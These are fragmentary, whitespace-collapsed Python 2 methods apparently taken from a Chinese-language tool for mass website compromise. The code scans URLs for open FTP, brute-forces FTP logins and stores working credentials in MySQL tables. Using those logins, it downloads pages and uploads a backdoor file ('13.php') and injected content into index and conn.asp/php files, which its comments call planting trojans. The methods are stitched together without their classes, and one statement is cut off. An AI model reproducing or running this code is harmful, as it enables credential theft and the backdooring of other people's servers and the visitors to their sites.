def __init__(self, i): threading.Thread.__init__(self) self.sql = Cmysql.mysql_handle() self.sql.mysql_open() self.TX_I = i self.com_cn_lis = [] #分成数组 self.Server_ini() #读取INI配置信息
def __init__(self): threading.Thread.__init__(self) self.sql = Cmysql.mysql_handle() self.sql.mysql_open() self.ftpID = 0 #FTP权限 self.ftppassword = 0 #读取表顺序 self.Auploadfile = "gost.ini" #上传文件名
def mysql_update(self): #修改数据库 try: self.int_label_0_1 = 0 #连接FTP/成功0个 self.int_label_0_2 = 0 #连接FTP/失败0个 self.int_label_1 = 0 ##检测到%s个页面 self.int_label_2 = 0 #下载成功%s个页面 self.int_label_3 = 0 #超连接已存在%s个页面 self.int_label_4 = 0 #上传成功%s个页面 print u"修改数据库" self.sql.cursor = self.sql.conn.cursor() self.Asql = "select * from ftppassword3" n = self.sql.cursor.execute(self.Asql) self.sql.cursor.scroll(0) for row in self.sql.cursor.fetchall(): #print '%s-%s-%s'%(row[0],row[1],row[2]) self.update = "update ftppassword3 set HTML='' where IP='%s'" % ( row[0]) self.sql.mysql_update(self.update) self.sql.mysql_S() #保存数据 self.open_mysql() #读取URL except: print u"<<<线程%d--FTP实现挂马线程读取mysql_update异常!!!!!" % (self.Ht) time.sleep(20) self.sql = Cmysql.mysql_handle() time.sleep(10) self.sql.mysql_open() self.open_mysql() #读取URL
def open_mysql(self): #读取URL try: sql="select * from openurl where openurl is NULL limit 1" data = self.sql.mysql_select(sql) #print U"数据库URL",data if ~data.find("null123456"): print u"----线程%d--可能无读取openurl表的数据请查看数据库!!!!!----"%(self.Ht) #mysql.mysql_S() #保存数据 time.sleep(10) self.open_mysql() update = "update openurl set openurl='send' where url='%s'"%(data) self.sql.mysql_update(update) self.sql.mysql_S() #保存数据 url_data = "http://"+data #print u"读取URL:",url_data self.INI_data1=self.INI_data1+1 self.URL_DZ(url_data) #遍历页里的地址 except: print u"----线程%d--读取openurl表URL异常!!!!!----"%(self.Ht) #mysql.mysql_S() #保存数据 time.sleep(10) #self.sql.mysql_close() time.sleep(10) self.sql=Cmysql.mysql_handle() time.sleep(10) #self.sql.mysql_open() self.open_mysql()
def __init__(self, htint): threading.Thread.__init__(self) self.Ht = htint #线程ID ####### self.sql = Cmysql.mysql_handle() self.sql.mysql_open() self.wwwlist = [] #wwwroot.txt 获取 self.list_wwwlist = [] #列表去重,不打乱原来的顺序 self.FTP_list = [] #FTP保存路径 self.data_write = u"" #写入数据 self.open_txt() #打开TXT文本写入数组 self.message_data = u"" #消息提示 self.hm_list = [ 'conn.asp', 'CONN.asp', 'conn.php', 'CONN.php', 'index.asp', 'index.htm', 'index.php', 'index.html', 'index.jsp' ] #添加啊后门列表 self.int_label_0_1 = 0 #连接FTP/成功0个 self.int_label_0_2 = 0 #连接FTP/失败0个 self.int_label_1 = 0 #检测到%s个页面 self.int_label_2 = 0 #下载成功%s个页面 self.int_label_3 = 0 #超连接已存在%s个页面 self.int_label_4 = 0 #上传成功%s个页面 try: config = ConfigParser.ConfigParser() config.readfp(open("Server.ini")) self.data_write = config.get("DATA", "data_write") except: print u"<<<线程%d--读取INI配置文件异常!!!!!" % (self.Ht)
def __init__(self, htint): threading.Thread.__init__(self) self.Internet = 10 #控制到300次检测一次网络状态 self.Ht = htint #线程ID self.Chost = "" #主机地址 self.sql = Cmysql.mysql_handle() self.sql.mysql_open()
def open_mysql(self): #读取URL try: self.Asql = "select * from openftp where linkftp is NULL limit 1" self.data = self.sql.mysql_select(self.Asql) #print U"数据库URL",data if ~self.data.find("null123456"): print u"<<<线程%d--CS_linkftp--openftp表可能无读取的数据请查看数据库!!!!!" % ( self.Ht) self.sql.mysql_S() #保存数据 time.sleep(60) #3秒 self.open_mysql() #读取URL if self.data == '': #传入值等于空 返回 time.sleep(60) #3秒 self.open_mysql() #读取URL self.update = "update openftp set linkftp='send' where url='%s'" % ( self.data) self.sql.mysql_update(self.update) self.sql.mysql_S() #保存数据 #print u"测试URLFTP:",self.data self.ftp_login(self.data) #测试URL FTP是否开放 except: print u"<<<线程%d--CS_linkftp--openftp表读取URL异常!!!!!" % (self.Ht) time.sleep(60) #self.sql.mysql_close() time.sleep(10) self.sql = Cmysql.mysql_handle() time.sleep(10) self.sql.mysql_open() #self.sql.mysql_S() #保存数据 self.open_mysql() #读取URL
def open_mysql(self): #读取URL try: sql="select * from openurl where openftp is NULL limit 1" data = self.sql.mysql_select(sql) #print U"数据库URL",data if ~data.find("null123456"): print u"====线程%d--CS_openftp--openurl表可能无读取的数据请查看数据库!!!!!===="%(self.Ht) self.sql.mysql_S() #保存数据 time.sleep(10) #3秒 self.open_mysql() #读取URL update = "update openurl set openftp='send' where url='%s'"%(data) self.sql.mysql_update(update) self.sql.mysql_S() #保存数据 #print u"测试URLFTP:",data self.INI_data1=self.INI_data1+1 #扫描过URL个 self.host_ftp(data) #测试URL FTP是否开放 except: print u"====线程%d--CS_openftp--openurl表读取URL异常!!!!!===="%(self.Ht) time.sleep(60) #self.sql.mysql_close() time.sleep(10) self.sql=Cmysql.mysql_handle() time.sleep(10) self.sql.mysql_open() #self.sql.mysql_S() #保存数据 self.open_mysql() #读取URL
def run(self): MAX_RETRIES = 5 retry = 0 account = None #None=NULL 数组 while self.running and accounts: #list数组 try: self.ftp.connect(domain, port) #连接 服务器名 端口号 except Exception, e: if retry <= MAX_RETRIES: #这是为了控制线程吗 retry = retry + 1 #没必要使用这个变量啊 continue #跳过 else: self.running = False #这是 控制线程 break #跳出 #print ".", #重新每三次 为什么一个账户要连接3次 呢 loop_num = 0 while loop_num < 3: loop_num = loop_num + 1 if not account and accounts: #list数组 account = accounts.pop() #list数组 输出 #绝对不要尝试 if not account: #数组无数据了就跳出 break #跳出 #print u'IP:',host,u'用户名:',account[0],u'密码:',account[1] try: self.ftp.login(account[0], account[1]) #连接FTP #没有异常发生,这是一个正确的帐号 self.Asql = Cmysql.mysql_handle() self.Asql.mysql_open() print u"<<<线程", self.AHt, u'--FTP连接成功IP:', host, u"用户名:", account[ 0], u"密码:", account[1] ABCsql = "insert into ftppassword0(IP,user,password,time) values('%s','%s','%s','%s')" % ( host, account[0], account[1], time.strftime('%Y.%m.%d-%H.%M.%S')) self.Asql.mysql_insert(ABCsql) #添加到数据库 self.Asql.mysql_S() #保存数据 self.Asql.mysql_close() #关闭数据库 time.sleep(3) #os.system('python adminFTP.py %s %s %s'%(host,account[0],account[1])) account = None #None=NULL self.sql. except Exception, e: emsg = str(e) #调试信息 if 'connection' in emsg.lower( ) or 'tries' in emsg.lower( ): #判断 连接 失败错误信息 不明白何意 retry = retry + 1 break #跳出 else: #reset retry account = None #None=NULL retry = 0
def __init__(self,htint): threading.Thread.__init__(self) self.Ht=htint self.INI_data1=0 #扫描过URL个 self.INI_data2=0 #未开放FTP self.INI_data3=0 #开放FTP self.Internet=100 #控制到300次检测一次网络状态 self.printf=10 #控制显示 self.sql=Cmysql.mysql_handle() self.sql.mysql_open()
def __init__(self, htint): threading.Thread.__init__(self) self.Ht = htint #线程ID self.sql = Cmysql.mysql_handle() self.sql.mysql_open() self.FTP_list = [] #FTP保存路径 self.dataurl = "cs123456.txt" #上传文件 self.HM_data = "13.php" #上传后门文件 config = ConfigParser.ConfigParser() config.readfp(open("Server.ini")) self.dataurl = config.get("DATA", "YZ") self.HM_data = config.get("DATA", "HM")
def int_mysql_tableView(self): #获取表中有多少条记录 i = 0 try: self.sql = Cmysql.mysql_handle() self.sql.mysql_open() sql = "select * from ftppassword3" self.cursor = self.sql.conn.cursor() n = self.cursor.execute(sql) self.cursor.scroll(0) for row in self.cursor.fetchall(): i += 1 self.cursor.close() return i except: self.textEdit_2.append(u"无法连接数据库====读取数据库表ftppassword3错误") return i
def __init__(self, htint): threading.Thread.__init__(self) self.Ht = htint #线程ID self.wwwlist = [] #wwwroot.txt 获取 self.list_wwwlist = [] #列表去重,不打乱原来的顺序 self.open_txt() #打开TXT文本写入数组 self.FTP_list = [] #FTP保存路径 self.data_write = u"" #写入数据 ####### self.sql = Cmysql.mysql_handle() self.sql.mysql_open() try: config = ConfigParser.ConfigParser() config.readfp(open("Server.ini")) self.data_write = config.get("DATA", "data_write") except: print u"<<<线程%d--读取INI配置文件异常!!!!!" % (self.Ht)
def open_mysql(self): #读取URL self.sql.cursor = self.sql.conn.cursor() try: self.Ahost = "" self.Auser = "" self.Apasswd = "" self.Asql = "select * from ftppassword3 where (html='' or html is NULL) and root=3 limit 1" n = self.sql.cursor.execute(self.Asql) self.sql.cursor.scroll(0) for row in self.sql.cursor.fetchall(): #print '%s-%s-%s'%(row[0],row[1],row[2]) self.Ahost = row[0] self.Auser = row[1] self.Apasswd = row[2] #print '%s-%s-%s'%(self.Ahost,self.Auser,self.Apasswd) self.admin_open_FTP(self.Ahost, self.Auser, self.Apasswd) #遍历数组 self.open_label() #更新显示 time.sleep(3) #确保先运行Seeker中的方法 if self.Ahost == "": #传入值等于空 返回 time.sleep(60) #3秒 self.open_mysql() #读取UR self.update = "update ftppassword3 set HTML='send' where IP='%s'" % ( self.Ahost) self.sql.mysql_update(self.update) self.sql.mysql_S() #保存数据 self.open_mysql() #读取URL except: self.sql.cursor.close() print u"<<<线程%d--FTP实现挂马线程读取open_mysql异常!!!!!" % (self.Ht) time.sleep(300) self.sql = Cmysql.mysql_handle() time.sleep(10) self.sql.mysql_open() self.mysql_update() #修改数据库
def __init__(self): threading.Thread.__init__(self) self.sql = Cmysql.mysql_handle() self.sql.mysql_open() self.ftppassword = 0 #读取表顺序
def mysql_tableView(self): #获取表中有多少条记录 try: i = 0 self.sql = Cmysql.mysql_handle() self.sql.mysql_open() sql = "select * from ftppassword3" self.cursor = self.sql.conn.cursor() n = self.cursor.execute(sql) self.cursor.scroll(0) for row in self.cursor.fetchall(): data0 = u"%s" % (row[0]) self.model.setItem(i, 0, QStandardItem(data0)) data1 = u"%s" % (row[1]) self.model.setItem(i, 1, QStandardItem(data1)) data2 = u"%s" % (row[2]) self.model.setItem(i, 2, QStandardItem(data2)) data3 = u"%s" % (row[3]) self.model.setItem(i, 3, QStandardItem(data3)) data4 = u"%s" % (row[4]) self.model.setItem(i, 4, QStandardItem(data4)) data5 = u"%s" % (row[5]) self.model.setItem(i, 5, QStandardItem(data5)) L_RGB = row[3] if L_RGB == 'NO': #查找字符 红色 self.model.item(i, 0).setForeground( QBrush(QColor(255, 0, 0))) #//设置字符颜色 self.model.item(i, 1).setForeground( QBrush(QColor(255, 0, 0))) #//设置字符颜色 self.model.item(i, 2).setForeground( QBrush(QColor(255, 0, 0))) #//设置字符颜色 self.model.item(i, 3).setForeground( QBrush(QColor(255, 0, 0))) #//设置字符颜色 self.model.item(i, 4).setForeground( QBrush(QColor(255, 0, 0))) #//设置字符颜色 self.model.item(i, 5).setForeground( QBrush(QColor(255, 0, 0))) #//设置字符颜色 if L_RGB == '1': #查找字符 橙黄 ; 247,148,29 self.model.item(i, 0).setForeground( QBrush(QColor(247, 148, 29))) #//设置字符颜色 self.model.item(i, 1).setForeground( QBrush(QColor(247, 148, 29))) #//设置字符颜色 self.model.item(i, 2).setForeground( QBrush(QColor(247, 148, 29))) #//设置字符颜色 self.model.item(i, 3).setForeground( QBrush(QColor(247, 148, 29))) #//设置字符颜色 self.model.item(i, 4).setForeground( QBrush(QColor(247, 148, 29))) #//设置字符颜色 self.model.item(i, 5).setForeground( QBrush(QColor(247, 148, 29))) #//设置字符颜色 if L_RGB == '2': #查找字符 巧克力色: 210,105,30 self.model.item(i, 0).setForeground( QBrush(QColor(210, 105, 30))) #//设置字符颜色 self.model.item(i, 1).setForeground( QBrush(QColor(210, 105, 30))) #//设置字符颜色 self.model.item(i, 2).setForeground( QBrush(QColor(210, 105, 30))) #//设置字符颜色 self.model.item(i, 3).setForeground( QBrush(QColor(210, 105, 30))) #//设置字符颜色 self.model.item(i, 4).setForeground( QBrush(QColor(210, 105, 30))) #//设置字符颜色 self.model.item(i, 5).setForeground( QBrush(QColor(210, 105, 30))) #//设置字符颜色 i += 1 self.cursor.close() return 1 except: self.textEdit_2.append(u"获取表ftppassword3错误") return 0
def __init__(self, htint): threading.Thread.__init__(self) self.Ht = htint self.tt = IPSearch('QQWry.dat') self.sql = Cmysql.mysql_handle() self.sql.mysql_open()
def __init__(self,htint): threading.Thread.__init__(self) self.Ht=htint self.sql=Cmysql.mysql_handle() self.sql.mysql_open()